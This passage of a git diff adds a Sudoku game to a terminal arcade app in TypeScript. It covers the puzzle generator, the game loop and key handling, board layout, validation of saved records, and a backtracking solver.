difficulty demands; it stops at a + * random clue count inside the difficulty's range. Everything comes from `rng`, so a seed always gives the same puzzle. + * If forty attempts miss the profile, the closest one is returned; it is still unique and valid. + */ +export function generatePuzzle(difficulty: Difficulty, rng: Rng): Puzzle { + const profile = PROFILES[difficulty]; + let best: {puzzle: Grid; solution: Grid; gap: number} | undefined; + for (let attempt = 0; attempt < ATTEMPTS; attempt += 1) { + const solution = randomSolved(rng); + const puzzle = Uint8Array.from(solution); + const target = rng.int(profile.min, profile.max); + const orbits = rng.shuffle(Array.from({length: 41}, (_, index) => index)); + let clues = CELLS; + for (const first of orbits) { + if (clues <= target && meets(puzzle, profile)) break; + const second = CELLS - 1 - first; + const keepA = puzzle[first]!; + const keepB = puzzle[second]!; + puzzle[first] = 0; puzzle[second] = 0; + const removed = first === second ? 1 : 2; + if (clues - removed >= profile.min - 2 && acceptable(puzzle, profile)) clues -= removed; + else { puzzle[first] = keepA; puzzle[second] = keepB; } + } + const gap = (clues > profile.max ? clues - profile.max : 0) + (meets(puzzle, profile) ? 0 : 5); + if (!best || gap < best.gap) best = {puzzle: Uint8Array.from(puzzle), solution, gap}; + if (gap === 0) break; + } + return {puzzle: best!.puzzle, solution: best!.solution, difficulty}; +} + +/** The number of clues in a grid. */ +export const clueCount = (grid: Grid): number => grid.reduce((count, digit) => count + (digit ? 1 : 0), 0); diff --git a/src/arcade/games/sudoku/index.ts b/src/arcade/games/sudoku/index.ts index 21040dc5..aeabe985 100644 --- a/src/arcade/games/sudoku/index.ts +++ b/src/arcade/games/sudoku/index.ts @@ -1,7 +1,349 @@ -import type {GameDefinition} from '../../types.js'; -import {placeholderGame} from '../placeholder.js'; +import type {Key} from '../../../terminal/keys.js'; +import {PixelBuffer, type Canvas} from '../../Canvas.js'; +import {ParticleSystem} from '../../effects.js'; +import {Menu} from '../../menu.js'; +import type {ArcadePalette} from '../../palette.js'; +import type {ControlHint, GameContext, GameDefinition, GameInstance, GameKeyResult, GameResult, GameStatus} from '../../types.js'; +import {DIFFICULTIES, DIFFICULTY_LABEL, generatePuzzle, type Difficulty} from './generator.js'; +import {readRecord, formatTime, recordWin, summarize, writeRecord, type Stats} from './record.js'; +import type {Saved} from './state.js'; +import {SudokuState} from './state.js'; +import {completeUnits, drawMenu, drawPlay, POP_MS, type BoardView} from './view.js'; -/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ -export const sudokuGame: GameDefinition = placeholderGame({ - id: 'sudoku', aliases: ['classic-sudoku'], title: 'Classic Sudoku', tagline: 'Numbers, calmly', description: 'The classic 9x9 puzzle with notes, hints and undo.', kind: 'puzzle', -}); +/** Longest single clock step the timer accepts, so a suspended laptop does not bank hours of "play". */ +const MAX_TICK_MS = 2000; +const CELEBRATE_MS = 1800; +const GLOW_MS = 1400; +const MESSAGE_MS = 5000; + +export interface SudokuInstance extends GameInstance { + readonly state: SudokuState | undefined; + readonly screen: 'menu' | 'play'; + readonly stats: Stats; + /** Start a fresh puzzle of this difficulty (what the start menu does). */ + newPuzzle(difficulty: Difficulty): void; + /** Back to the clues of the current puzzle: entries, notes, hints and the clock reset. */ + restartPuzzle(): void; + /** Whether the person is looking at the completion celebration. */ + readonly celebrating: boolean; +} + +class Sudoku implements SudokuInstance { + state: SudokuState | undefined; + screen: 'menu' | 'play' = 'menu'; + stats: Stats; + result: GameResult | undefined; + readonly stepsPerSecond = 0; + private finished = false; + private paused = false; + private celebrateMs = -1; + private confirmRestart = false; + private message = ''; + private messageTone: BoardView['messageTone'] = 'info'; + private messageMs = 0; + private menu: Menu; + private current: Saved | undefined; + private readonly pop = new Float32Array(81); + private readonly glow = new Float32Array(27); + private readonly fx: ParticleSystem; + private pixels: PixelBuffer; + private size: {columns: number; rows: number}; + private units: boolean[] = []; + + constructor(private readonly context: GameContext) { + const stored = readRecord(context.record.get()); + this.stats = {bestTimes: stored.bestTimes, completed: stored.completed, completedByDifficulty: stored.completedByDifficulty, streak: stored.streak, bestStreak: stored.bestStreak}; + this.current = stored.current; + this.size = context.size; + this.fx = new ParticleSystem(context.rng.fork('sudoku-fx'), 120, context.motion.reduced ? 'off' : context.motion.effects); + this.pixels = new PixelBuffer(context.size.columns, context.size.rows * 2); + this.menu = this.buildMenu(); + } + + get status(): GameStatus { + if (this.screen === 'menu') return 'ready'; + return this.finished && this.celebrateMs < 0 ? 'won' : 'playing'; + } + get celebrating(): boolean { return this.celebrateMs >= 0; } + get refreshMs(): number { + if (this.celebrating || this.paused || this.fx.count > 0 || this.pop.some(left => left > 0) || this.glow.some(left => left > 0)) return 80; + return this.screen === 'play' ? 1000 : 0; + } + + // ---- menu --------------------------------------------------------------------------------------------------- + + private buildMenu(): Menu { + const items = []; + if (this.current) items.push({id: 'continue', label: 'Continue', hint: `${DIFFICULTY_LABEL[this.current.difficulty]} ${formatTime(this.current.elapsedMs / 1000)}`, key: 'c'}); + DIFFICULTIES.forEach((level, index) => { + const best = this.stats.bestTimes[level]; + items.push({id: level, label: DIFFICULTY_LABEL[level], ...(best ? {hint: `best ${formatTime(best)}`} : {}), key: String(index + 1)}); + }); + items.push({id: 'back', label: 'Back to Arcade', key: 'q'}); + return new Menu(items); + } + + private save(): void { + this.context.record.set(writeRecord(this.current ? {...this.stats, current: this.current} : this.stats)); + } + + newPuzzle(difficulty: Difficulty): void { + // Walking away from a puzzle that was started ends the streak; restarting or finishing does not. + if (this.current && (this.current.elapsedMs > 0 || /[1-9]/u.test(this.current.entries))) this.stats.streak = 0; + const made = generatePuzzle(difficulty, this.context.rng); + this.begin(new SudokuState(difficulty, made.puzzle, made.solution)); + this.current = this.state!.toSaved(); + this.save(); + } + + private begin(state: SudokuState): void { + this.state = state; + this.screen = 'play'; + this.finished = false; + this.result = undefined; + this.paused = false; + this.celebrateMs = -1; + this.confirmRestart = false; + this.message = ''; + this.pop.fill(0); + this.glow.fill(0); + this.fx.clear(); + this.units = completeUnits(state.grid); + if (state.cursor === 40 && state.isClue(40)) state.moveTo(Math.max(0, state.grid.indexOf(0))); + } + + restartPuzzle(): void { + if (!this.state || this.finished) return; + this.state.restart(); + this.pop.fill(0); + this.glow.fill(0); + this.units = completeUnits(this.state.grid); + this.say('Restarted from the clues', 'info'); + this.current = this.state.toSaved(); + this.save(); + } + + private say(text: string, tone: BoardView['messageTone'] = 'info'): void { this.message = text; this.messageTone = tone; this.messageMs = MESSAGE_MS; } + + // ---- loop --------------------------------------------------------------------------------------------------- + + step(): void { /* turn-based: the clock runs in animate() */ } + + animate(dtMs: number): void { + // The session calls animate again only after a pause menu closes, so the first call after pause() is the resume. + if (this.paused) { this.paused = false; return; } + const dt = Math.max(0, Math.min(MAX_TICK_MS, dtMs)); + if (this.screen === 'play' && this.state && !this.finished) this.state.elapsedMs += dt; + for (let cell = 0; cell < 81; cell += 1) if (this.pop[cell]! > 0) this.pop[cell] = Math.max(0, this.pop[cell]! - dt); + for (let unit = 0; unit < 27; unit += 1) if (this.glow[unit]! > 0) this.glow[unit] = Math.max(0, this.glow[unit]! - dt / GLOW_MS); + if (this.messageMs > 0) { this.messageMs -= dt; if (this.messageMs <= 0) this.message = ''; } + this.fx.update(dt); + if (this.celebrateMs >= 0) { this.celebrateMs += dt; if (this.celebrateMs >= CELEBRATE_MS) this.celebrateMs = -1; } + } + + pause(): void { + if (this.screen !== 'play' || this.finished) return; + this.paused = true; + this.current = this.state!.toSaved(); + this.save(); + } + + // ---- keys --------------------------------------------------------------------------------------------------- + + key(key: Key): GameKeyResult { + if (this.screen === 'menu') return this.menuKey(key); + const state = this.state!; + if (this.finished) { + if (this.celebrating && (key.kind === 'enter' || key.kind === 'text')) { this.celebrateMs = -1; return 'handled'; } + return 'ignored'; + } + if ((key.kind !== 'text' || key.value.toLowerCase() !== 'r') && this.confirmRestart) { this.confirmRestart = false; this.message = ''; this.messageMs = 0; } + switch (key.kind) { + case 'up': state.move(-1, 0); return 'handled'; + case 'down': state.move(1, 0); return 'handled'; + case 'left': state.move(0, -1); return 'handled'; + case 'right': state.move(0, 1); return 'handled'; + case 'backspace': case 'delete': return this.after(state.erase(), false); + case 'redo': return this.after(state.redo(), false); + case 'text': return this.textKey(key.value); + default: return 'ignored'; + } + } + + private textKey(value: string): GameKeyResult { + const state = this.state!; + const lower = value.toLowerCase(); + if (/^[1-9]$/u.test(lower)) { + const cell = state.cursor; + if (state.isClue(cell)) { this.say('That one is a given', 'warn'); return 'handled'; } + const changed = state.enter(Number(lower)); + if (changed && !state.notesMode) this.placed(cell); + return this.after(changed, true); + } + switch (lower) { + case '0': return this.after(state.erase(), false); + case 'h': state.move(0, -1); return 'handled'; + case 'j': state.move(1, 0); return 'handled'; + case 'k': state.move(-1, 0); return 'handled'; + case 'l': state.move(0, 1); return 'handled'; + case 'n': state.notesMode = !state.notesMode; this.say(state.notesMode ? 'Notes on: digits add pencil marks' : 'Notes off', 'info'); return 'handled'; + case 'u': if (!state.undo()) this.say('Nothing to undo', 'warn'); return 'handled'; + case 'y': if (!state.redo()) this.say('Nothing to redo', 'warn'); return 'handled'; + case 't': return this.hint(); + case 'r': + if (this.confirmRestart) { this.confirmRestart = false; this.restartPuzzle(); } + else { this.confirmRestart = true; this.say('Press r again to restart this puzzle', 'warn'); } + return 'handled'; + case 'm': this.persist(); this.leaveToMenu(); return 'handled'; + default: return 'ignored'; + } + } + + private leaveToMenu(): void { + this.paused = false; + this.screen = 'menu'; + this.menu = this.buildMenu(); + } + + private hint(): GameKeyResult { + const state = this.state!; + const given = state.hint(); + if (!given) { this.say('No hint needed', 'info'); return 'handled'; } + this.placed(given.cell); + this.say(`Hint: ${given.message}`, 'good'); + return this.after(true, true); + } + + private placed(cell: number): void { + if (this.context.motion.reduced || this.context.motion.effects === 'off') return; + this.pop[cell] = POP_MS; + } + + /** After an edit: notice finished units and a solved grid. */ + private after(changed: boolean, forward: boolean): GameKeyResult { + const state = this.state!; + if (!changed) return 'handled'; + const now = completeUnits(state.grid); + if (forward && !this.context.motion.reduced && this.context.motion.effects !== 'off') now.forEach((done, unit) => { if (done && !this.units[unit]) this.glow[unit] = 1; }); + this.units = now; + if (state.solved) this.win(); + return 'handled'; + } + + private menuKey(key: Key): GameKeyResult { + const choice = this.menu.key(key); + if (!choice) return key.kind === 'escape' ? 'ignored' : 'handled'; + if (choice === 'back') return 'back'; + if (choice === 'continue' && this.current) { this.begin(SudokuState.fromSaved(this.current)); return 'handled'; } + if ((DIFFICULTIES as readonly string[]).includes(choice)) this.newPuzzle(choice as Difficulty); + return 'handled'; + } + + // ---- finishing ---------------------------------------------------------------------------------------------- + + private win(): void { + const state = this.state!; + this.finished = true; + const seconds = Math.max(1, Math.round(state.elapsedMs / 1000)); + const outcome = recordWin(this.stats, state.difficulty, seconds, state.hints); + this.stats = outcome.stats; + this.current = undefined; + this.save(); + const best = this.stats.bestTimes[state.difficulty]; + this.result = { + score: seconds, scoreText: formatTime(seconds), record: outcome.record, + details: [DIFFICULTY_LABEL[state.difficulty], state.hints ? `${state.hints} hint${state.hints === 1 ? '' : 's'} used` : 'No hints', ...(best ? [`Best ${formatTime(best)}`] : []), `Streak ${this.stats.streak}`], + }; + const calm = this.context.motion.reduced || this.context.motion.effects === 'off'; + if (calm) return; + this.celebrateMs = 0; + this.burstPending = true; + } + + // ---- drawing ------------------------------------------------------------------------------------------------ + + private burstPending = false; + + /** Three quiet fountains of the theme's colors, started on the first frame of the celebration. */ + private burst(palette: ArcadePalette): void { + this.burstPending = false; + const colors = [palette.accent, palette.haze, palette.ok, palette.cat.body]; + for (const share of [0.28, 0.5, 0.72]) { + this.fx.burst({x: this.pixels.width * share, y: this.pixels.height * 0.7, count: 14, speed: Math.max(14, this.pixels.height * 0.9), angle: -Math.PI / 2, spread: 0.7, life: 1500, gravity: Math.max(20, this.pixels.height * 0.8), drag: 0.4, colors}); + } + } + + render(canvas: Canvas, _alpha: number, palette: ArcadePalette): void { + if (this.burstPending) this.burst(palette); + const view = {color: this.context.color !== 'none', safe: this.context.safeGlyphs}; + if (this.screen === 'menu' || !this.state) { + drawMenu(canvas, palette, this.menu, {...view, note: this.current ? 'A puzzle is waiting' : 'Numbers, calmly'}); + return; + } + const heading = this.celebrating && this.result ? {heading: 'Solved', detail: `${this.result.scoreText} · ${this.result.details[0] ?? ''}`} : undefined; + drawPlay(canvas, palette, { + state: this.state, hidden: this.paused, ...view, pop: this.pop, glow: this.glow, message: this.confirmRestart || this.messageMs > 0 ? this.message : '', messageTone: this.messageTone, celebration: heading, + }); + if (this.fx.count > 0) { + if (this.pixels.width !== canvas.width || this.pixels.height !== canvas.height * 2) this.pixels = new PixelBuffer(canvas.width, canvas.height * 2); + this.pixels.clear(); + this.fx.draw(this.pixels, palette.deep); + canvas.blit(this.pixels); + } + } + + resize(size: {columns: number; rows: number}): void { + this.size = size; + this.pixels = new PixelBuffer(size.columns, size.rows * 2); + } + + hints(): readonly ControlHint[] { + if (this.screen === 'menu') return [{keys: '↑↓', action: 'choose'}, {keys: 'Enter', action: 'start'}, {keys: '1-4', action: 'new'}, {keys: 'Esc', action: 'back'}]; + if (this.celebrating) return [{keys: 'Enter', action: 'continue'}]; + return [ + {keys: '←↑↓→/hjkl', action: 'move'}, {keys: '1-9', action: 'digit'}, {keys: '0', action: 'erase'}, {keys: 'n', action: this.state?.notesMode ? 'notes off' : 'notes'}, + {keys: 'u', action: 'undo'}, {keys: 'y', action: 'redo'}, {keys: 't', action: 'hint'}, {keys: 'r', action: 'restart'}, {keys: 'm', action: 'menu'}, {keys: 'Esc', action: 'pause'}, + ]; + } + + persist(): void { + if (this.screen === 'play' && this.state && !this.finished) { + this.current = this.state.toSaved(); + this.save(); + } + } + + dispose(): void { + this.fx.clear(); + this.state = undefined; + this.current = undefined; + } +} + +/** The hub preview: one box filling in, quietly. */ +function preview(canvas: Canvas, frame: number, palette: ArcadePalette): void { + const digits = '534672198'; + const shown = Math.min(9, Math.floor((frame % 24) / 2)); + const width = 11; + const left = Math.floor((canvas.width - width) / 2); + const top = Math.floor((canvas.height - 3) / 2); + for (let index = 0; index < 9; index += 1) { + const x = left + (index % 3) * 4; + const y = top + Math.floor(index / 3); + const revealed = index < shown; + const cursor = index === shown && shown < 9; + canvas.text(x, y, cursor ? '[ ]' : ` ${revealed ? digits[index]! : '·'} `, {fg: revealed ? (index % 2 ? palette.accent : palette.ink) : palette.faint, bold: revealed || cursor}); + } +} + +export const sudokuGame: GameDefinition = { + id: 'sudoku', aliases: ['classic-sudoku'], title: 'Classic Sudoku', tagline: 'Numbers, calmly', + description: 'The classic 9x9 puzzle in four difficulties, with pencil notes, hints, undo and unlimited fresh puzzles. Your puzzle in progress is saved.', + kind: 'puzzle', + controls: [{keys: '←↑↓→', action: 'move'}, {keys: '1-9', action: 'digit'}, {keys: 'n', action: 'notes'}, {keys: 'u', action: 'undo'}, {keys: 't', action: 'hint'}], + summary: record => summarize(record), + preview, + create: context => new Sudoku(context), +}; + +export {DIFFICULTIES, generatePuzzle}; diff --git a/src/arcade/games/sudoku/layout.ts b/src/arcade/games/sudoku/layout.ts new file mode 100644 index 00000000..120cdc54 --- /dev/null +++ b/src/arcade/games/sudoku/layout.ts @@ -0,0 +1,94 @@ +/** + * Board geometry: the largest set of cells that fits the canvas, with the HUD beside the board when there is room and + * above it otherwise. Pure numbers, no drawing, so the tests can sweep canvas sizes. + */ +export interface CellSize { cw: number; ch: number; thinV: boolean; thinH: boolean; border: boolean } + +/** Largest first. Box lines are always drawn; thin lines between cells only where they fit. */ +const SIZES: readonly CellSize[] = [ + {cw: 7, ch: 3, thinV: true, thinH: true, border: true}, + {cw: 7, ch: 3, thinV: true, thinH: false, border: true}, + {cw: 5, ch: 3, thinV: true, thinH: true, border: true}, + {cw: 5, ch: 3, thinV: true, thinH: false, border: true}, + {cw: 5, ch: 1, thinV: true, thinH: true, border: true}, + {cw: 5, ch: 1, thinV: true, thinH: false, border: true}, + {cw: 3, ch: 1, thinV: true, thinH: true, border: true}, + {cw: 3, ch: 1, thinV: true, thinH: false, border: true}, + {cw: 3, ch: 1, thinV: false, thinH: false, border: true}, + {cw: 2, ch: 1, thinV: false, thinH: false, border: true}, + {cw: 2, ch: 1, thinV: false, thinH: false, border: false}, +]; + +export const MIN_COLUMNS = 20; +export const MIN_ROWS = 13; +export const SIDE_MIN = 22; +export const SIDE_MAX = 30; +export const SIDE_GAP = 3; + +export interface Line { at: number; heavy: boolean } + +export interface Layout extends CellSize { + boardW: number; + boardH: number; + /** Offsets of each cell column / row from the board's top-left. */ + xs: number[]; + ys: number[]; + vlines: Line[]; + hlines: Line[]; + hud: 'side' | 'top'; + /** Board origin on the canvas. */ + x: number; + y: number; + /** Top HUD: the first row and how many rows it has; side HUD: its left edge and width. */ + hudX: number; + hudY: number; + hudW: number; + /** A spare row under the board for the status message (top HUD only). */ + messageRow: number | undefined; +} + +function axis(cells: number, size: number, thin: boolean, border: boolean): {offsets: number[]; lines: Line[]; total: number} { + const offsets: number[] = []; + const lines: Line[] = []; + let at = 0; + if (border) { lines.push({at, heavy: true}); at += 1; } + for (let index = 0; index < cells; index += 1) { + if (index > 0 && (index % 3 === 0 || thin)) { lines.push({at, heavy: index % 3 === 0}); at += 1; } + offsets.push(at); + at += size; + } + if (border) { lines.push({at, heavy: true}); at += 1; } + return {offsets, lines, total: at}; +} + +export function boardSize(size: CellSize): {width: number; height: number} { + return {width: axis(9, size.cw, size.thinV, size.border).total, height: axis(9, size.ch, size.thinH, size.border).total}; +} + +/** The best layout for a canvas, or undefined when even the smallest board plus its HUD does not fit. */ +export function layoutFor(columns: number, rows: number): Layout | undefined { + for (const size of SIZES) { + const horizontal = axis(9, size.cw, size.thinV, size.border); + const vertical = axis(9, size.ch, size.thinH, size.border); + const boardW = horizontal.total; + const boardH = vertical.total; + const make = (hud: 'side' | 'top', x: number, y: number, hudX: number, hudY: number, hudW: number, messageRow?: number): Layout => ({ + ...size, boardW, boardH, xs: horizontal.offsets, ys: vertical.offsets, vlines: horizontal.lines, hlines: vertical.lines, hud, x, y, hudX, hudY, hudW, messageRow, + }); + const sideW = Math.min(SIDE_MAX, columns - boardW - SIDE_GAP - 1); + if (sideW >= SIDE_MIN && rows >= boardH) { + const group = boardW + SIDE_GAP + sideW; + const left = Math.floor((columns - group) / 2); + const top = Math.floor((rows - boardH) / 2); + return make('side', left, top, left + boardW + SIDE_GAP, top, sideW); + } + if (columns >= boardW && rows >= boardH + 2) { + const message = rows >= boardH + 3; + const used = boardH + 2 + (message ? 1 : 0); + const top = Math.floor((rows - used) / 2); + const left = Math.floor((columns - boardW) / 2); + return make('top', left, top + 2, left, top, Math.max(boardW, Math.min(columns - left, 38)), message ? top + 2 + boardH : undefined); + } + } + return undefined; +} diff --git a/src/arcade/games/sudoku/record.ts b/src/arcade/games/sudoku/record.ts new file mode 100644 index 00000000..1493d584 --- /dev/null +++ b/src/arcade/games/sudoku/record.ts @@ -0,0 +1,120 @@ +import type {GameRecord, RecordValue} from '../../scores.js'; +import {DIFFICULTIES, DIFFICULTY_LABEL, type Difficulty} from './generator.js'; +import type {Saved} from './state.js'; +import {ALL, CELLS, countSolutions, isGridText, isSolved, parseGrid} from './solver.js'; + +/** + * Classic Sudoku's saved record (schema v1), read defensively: the file may be empty, old or hand-edited, so every + * field is checked and anything that fails is dropped, never trusted. A saved puzzle in progress (`current`) must be + * a real puzzle: a valid solved grid, clues that match it, one solution, entries that leave the clues alone. + */ +export const RECORD_VERSION = 1; +const MAX_SECONDS = 99 * 3600; +const MAX_COUNT = 1_000_000; +const MAX_HINTS = 999; + +export interface Stats { + bestTimes: Partial>; + completed: number; + completedByDifficulty: Record; + streak: number; + bestStreak: number; +} +export interface Stored extends Stats { current?: Saved } + +const count = (value: unknown, max = MAX_COUNT): number => (typeof value === 'number' && Number.isInteger(value) && value >= 0 && value <= max ? value : 0); +const plain = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); + +export function emptyStats(): Stats { + return {bestTimes: {}, completed: 0, completedByDifficulty: {easy: 0, medium: 0, hard: 0, expert: 0}, streak: 0, bestStreak: 0}; +} + +/** A saved puzzle in progress, or undefined when any part of it is wrong. */ +export function readCurrent(value: unknown): Saved | undefined { + if (!plain(value)) return undefined; + const {difficulty, puzzle, solution, entries, notes, elapsedMs, hints} = value; + if (typeof difficulty !== 'string' || !(DIFFICULTIES as readonly string[]).includes(difficulty)) return undefined; + if (!isGridText(puzzle, true) || !isGridText(solution, false) || !isGridText(entries, true)) return undefined; + if (!Array.isArray(notes) || notes.length !== CELLS || !notes.every(mask => typeof mask === 'number' && Number.isInteger(mask) && mask >= 0 && mask <= ALL)) return undefined; + if (typeof elapsedMs !== 'number' || !Number.isInteger(elapsedMs) || elapsedMs < 0 || elapsedMs > MAX_SECONDS * 1000) return undefined; + if (typeof hints !== 'number' || !Number.isInteger(hints) || hints < 0 || hints > MAX_HINTS) return undefined; + const solved = parseGrid(solution); + if (!isSolved(solved)) return undefined; + const merged = new Uint8Array(CELLS); + for (let cell = 0; cell < CELLS; cell += 1) { + const clue = Number(puzzle[cell]); + const entry = Number(entries[cell]); + if (clue && clue !== solved[cell]) return undefined; + if (clue && (entry || notes[cell] !== 0)) return undefined; + if (entry && notes[cell] !== 0) return undefined; + merged[cell] = clue || entry; + } + if (merged.every(Boolean) && isSolved(merged)) return undefined; + if (countSolutions(parseGrid(puzzle), 2) !== 1) return undefined; + return {difficulty: difficulty as Difficulty, puzzle, solution, entries, notes: notes as number[], elapsedMs, hints}; +} + +export function readRecord(raw: Readonly>): Stored { + const stats = emptyStats(); + const stored: Stored = stats; + if (raw.version !== undefined && raw.version !== RECORD_VERSION) return stored; + if (plain(raw.bestTimes)) { + for (const level of DIFFICULTIES) { + const seconds = raw.bestTimes[level]; + if (typeof seconds === 'number' && Number.isInteger(seconds) && seconds > 0 && seconds <= MAX_SECONDS) stats.bestTimes[level] = seconds; + } + } + if (plain(raw.completedByDifficulty)) for (const level of DIFFICULTIES) stats.completedByDifficulty[level] = count(raw.completedByDifficulty[level]); + stats.completed = Math.max(count(raw.completed), DIFFICULTIES.reduce((sum, level) => sum + stats.completedByDifficulty[level], 0)); + stats.streak = count(raw.streak); + stats.bestStreak = Math.max(count(raw.bestStreak), stats.streak); + const current = readCurrent(raw.current); + if (current) stored.current = current; + return stored; +} + +/** The record as plain JSON for the store. */ +export function writeRecord(stored: Stored): GameRecord { + const record: GameRecord = { + version: RECORD_VERSION, + bestTimes: {...stored.bestTimes} as {[key: string]: RecordValue}, + completed: stored.completed, + completedByDifficulty: {...stored.completedByDifficulty}, + streak: stored.streak, + bestStreak: stored.bestStreak, + }; + if (stored.current) record.current = {...stored.current, notes: [...stored.current.notes]}; + return record; +} + +export function formatTime(totalSeconds: number): string { + const seconds = Math.max(0, Math.floor(totalSeconds)); + const hours = Math.floor(seconds / 3600); + const minutes = Math.floor((seconds % 3600) / 60); + const rest = String(seconds % 60).padStart(2, '0'); + return hours ? `${hours}:${String(minutes).padStart(2, '0')}:${rest}` : `${minutes}:${rest}`; +} + +/** The hub's one-line summary. */ +export function summarize(raw: Readonly>): string { + const stored = readRecord(raw); + const times = DIFFICULTIES.filter(level => stored.bestTimes[level] !== undefined); + if (stored.current) return `In progress: ${DIFFICULTY_LABEL[stored.current.difficulty]} ${formatTime(stored.current.elapsedMs / 1000)}`; + if (!stored.completed) return 'Not played yet'; + const top = times[times.length - 1]; + const best = top ? ` · best ${DIFFICULTY_LABEL[top]} ${formatTime(stored.bestTimes[top]!)}` : ''; + return `${stored.completed} solved${best}`; +} + +/** Statistics after a win. A time is a personal best only when no hints were used and it beats the old one. */ +export function recordWin(stats: Stats, difficulty: Difficulty, seconds: number, hints: number): {stats: Stats; record: boolean} { + const next: Stats = {...stats, bestTimes: {...stats.bestTimes}, completedByDifficulty: {...stats.completedByDifficulty}}; + const old = next.bestTimes[difficulty]; + const record = hints === 0 && (old === undefined || seconds < old); + if (record) next.bestTimes[difficulty] = Math.max(1, Math.min(MAX_SECONDS, seconds)); + next.completed = Math.min(MAX_COUNT, next.completed + 1); + next.completedByDifficulty[difficulty] = Math.min(MAX_COUNT, next.completedByDifficulty[difficulty] + 1); + next.streak = Math.min(MAX_COUNT, next.streak + 1); + next.bestStreak = Math.max(next.bestStreak, next.streak); + return {stats: next, record}; +} diff --git a/src/arcade/games/sudoku/solver.ts b/src/arcade/games/sudoku/solver.ts new file mode 100644 index 00000000..3de52635 --- /dev/null +++ b/src/arcade/games/sudoku/solver.ts @@ -0,0 +1,201 @@ +import type {Rng} from '../../rng.js'; + +/** + * Sudoku rules and an independent solver. A grid is 81 digits (0 = empty), row by row. Nothing here draws or reads + * the clock: the generator, the game state, the persistence checks and the tests all share these functions, and the + * tests use the solver to prove the generator's puzzles have exactly one solution. + */ +export type Grid = Uint8Array; + +export const CELLS = 81; +export const ALL = 0x1ff; +export const row = (cell: number): number => Math.floor(cell / 9); +export const column = (cell: number): number => cell % 9; +export const box = (cell: number): number => Math.floor(row(cell) / 3) * 3 + Math.floor(column(cell) / 3); + +/** The 9 cells of each unit: rows 0..8, columns 9..17, boxes 18..26. */ +export const UNITS: readonly (readonly number[])[] = (() => { + const units: number[][] = []; + for (let r = 0; r < 9; r += 1) units.push(Array.from({length: 9}, (_, c) => r * 9 + c)); + for (let c = 0; c < 9; c += 1) units.push(Array.from({length: 9}, (_, r) => r * 9 + c)); + for (let b = 0; b < 9; b += 1) units.push(Array.from({length: 9}, (_, k) => (Math.floor(b / 3) * 3 + Math.floor(k / 3)) * 9 + (b % 3) * 3 + (k % 3))); + return units; +})(); + +export const unitsOf = (cell: number): readonly [number, number, number] => [row(cell), 9 + column(cell), 18 + box(cell)]; + +export const PEERS: readonly (readonly number[])[] = Array.from({length: CELLS}, (_, cell) => { + const peers = new Set(); + for (const unit of unitsOf(cell)) for (const other of UNITS[unit]!) if (other !== cell) peers.add(other); + return [...peers]; +}); + +export const bit = (digit: number): number => 1 << (digit - 1); +export const popcount = (mask: number): number => { let count = 0; for (let m = mask; m; m &= m - 1) count += 1; return count; }; +const lowestDigit = (mask: number): number => 32 - Math.clz32(mask & -mask); + +export function parseGrid(text: string): Grid { + const grid = new Uint8Array(CELLS); + for (let index = 0; index < CELLS; index += 1) grid[index] = Number(text[index] ?? 0); + return grid; +} +export const gridString = (grid: Grid): string => Array.from(grid, digit => String(digit)).join(''); +export const isGridText = (text: unknown, allowEmpty: boolean): text is string => typeof text === 'string' && (allowEmpty ? /^[0-9]{81}$/u : /^[1-9]{81}$/u).test(text); + +/** Digits not yet used by a cell's peers (the cell's own digit is ignored). */ +export function candidates(grid: Grid, cell: number): number { + let used = 0; + for (const peer of PEERS[cell]!) { const digit = grid[peer]!; if (digit) used |= bit(digit); } + return ALL & ~used; +} + +/** Cells that share a digit with a peer. */ +export function conflicting(grid: Grid): boolean[] { + const bad = new Array(CELLS).fill(false); + for (const unit of UNITS) { + const seen = new Array(10).fill(-1); + for (const cell of unit) { + const digit = grid[cell]!; + if (!digit) continue; + if (seen[digit]! >= 0) { bad[cell] = true; bad[seen[digit]!] = true; } else seen[digit] = cell; + } + } + return bad; +} + +/** Every cell filled and every row, column and box holds each digit once. */ +export function isSolved(grid: Grid): boolean { + for (const unit of UNITS) { + let seen = 0; + for (const cell of unit) { const digit = grid[cell]!; if (digit < 1 || digit > 9) return false; seen |= bit(digit); } + if (seen !== ALL) return false; + } + return true; +} + +/** A unit is complete when it holds 1..9 once each (used for the soft completion highlight). */ +export const unitComplete = (grid: Grid, unit: number): boolean => { + let seen = 0; + for (const cell of UNITS[unit]!) { const digit = grid[cell]!; if (!digit) return false; seen |= bit(digit); } + return seen === ALL; +}; + +/** + * Backtracking with candidate bitmasks and the fewest-candidates cell first. Counts solutions up to `limit` (2 is + * enough to prove uniqueness). `onSolution` receives the first solution found. A grid whose givens already clash has + * none. + */ +export function countSolutions(input: Grid, limit = 2, onSolution?: (solution: Grid) => void): number { + const grid = Uint8Array.from(input); + const rows = new Array(9).fill(0); + const cols = new Array(9).fill(0); + const boxes = new Array(9).fill(0); + for (let cell = 0; cell < CELLS; cell += 1) { + const digit = grid[cell]!; + if (!digit) continue; + const b = bit(digit); + if ((rows[row(cell)]! | cols[column(cell)]! | boxes[box(cell)]!) & b) return 0; + rows[row(cell)]! |= b; cols[column(cell)]! |= b; boxes[box(cell)]! |= b; + } + let found = 0; + const search = (): void => { + let best = -1; + let bestMask = 0; + let bestCount = 10; + for (let cell = 0; cell < CELLS; cell += 1) { + if (grid[cell]) continue; + const mask = ALL & ~(rows[row(cell)]! | cols[column(cell)]! | boxes[box(cell)]!); + const count = popcount(mask); + if (count < bestCount) { best = cell; bestMask = mask; bestCount = count; if (count <= 1) break; } + } + if (best < 0) { found += 1; if (found === 1) onSolution?.(Uint8Array.from(grid)); return; } + for (let mask = bestMask; mask && found < limit; mask &= mask - 1) { + const b = mask & -mask; + grid[best] = lowestDigit(b); + rows[row(best)]! |= b; cols[column(best)]! |= b; boxes[box(best)]! |= b; + search(); + rows[row(best)]! &= ~b; cols[column(best)]! &= ~b; boxes[box(best)]! &= ~b; + grid[best] = 0; + } + }; + search(); + return found; +} + +export function solve(input: Grid): Grid | undefined { + let solution: Grid | undefined; + countSolutions(input, 1, found => { solution = found; }); + return solution; +} + +/** A complete random grid: the same Rng stream always gives the same grid. */ +export function randomSolved(rng: Rng): Grid { + const grid = new Uint8Array(CELLS); + const rows = new Array(9).fill(0); + const cols = new Array(9).fill(0); + const boxes = new Array(9).fill(0); + const fill = (cell: number): boolean => { + if (cell === CELLS) return true; + const mask = ALL & ~(rows[row(cell)]! | cols[column(cell)]! | boxes[box(cell)]!); + const digits: number[] = []; + for (let digit = 1; digit <= 9; digit += 